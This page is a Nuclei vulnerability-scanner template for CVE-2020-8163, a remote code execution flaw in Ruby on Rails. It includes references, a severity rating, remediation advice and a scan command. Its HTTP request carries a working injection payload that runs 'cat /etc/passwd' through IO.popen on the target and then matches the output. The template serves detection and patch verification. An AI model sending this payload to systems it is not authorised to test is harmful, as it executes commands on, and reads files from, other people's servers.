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Ruby on Rails <5.0.1 - Remote Code Execution

ID: CVE-2020-8163

Severity: high

Author: tim_koopmans

Tags: cve,cve2020,rails,rce,hackerone,rubyonrails

Description

Section titled “Description”

Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.

YAML Source

Section titled “YAML Source”
id: CVE-2020-8163


info:
  name: Ruby on Rails <5.0.1 - Remote Code Execution
  author: tim_koopmans
  severity: high
  description: Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution.
  remediation: |
    Upgrade Ruby on Rails to version 5.0.1 or above.
  reference:
    - https://hackerone.com/reports/304805
    - https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0
    - https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8163
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-8163
    cwe-id: CWE-94
    epss-score: 0.97016
    epss-percentile: 0.99691
    cpe: cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rubyonrails
    product: rails
    shodan-query: cpe:"cpe:2.3:a:rubyonrails:rails"
  tags: cve,cve2020,rails,rce,hackerone,rubyonrails


http:
  - method: GET
    path:
      - "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a004630440220329a274b01f61ab6890d74c70adad24bbf14121fd39c986ece0b7d729a96e9a40220179db8cde822dc1fe07b025ad24af1146fc3946c98710b83f664f9268c917c5e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-8163.yaml"

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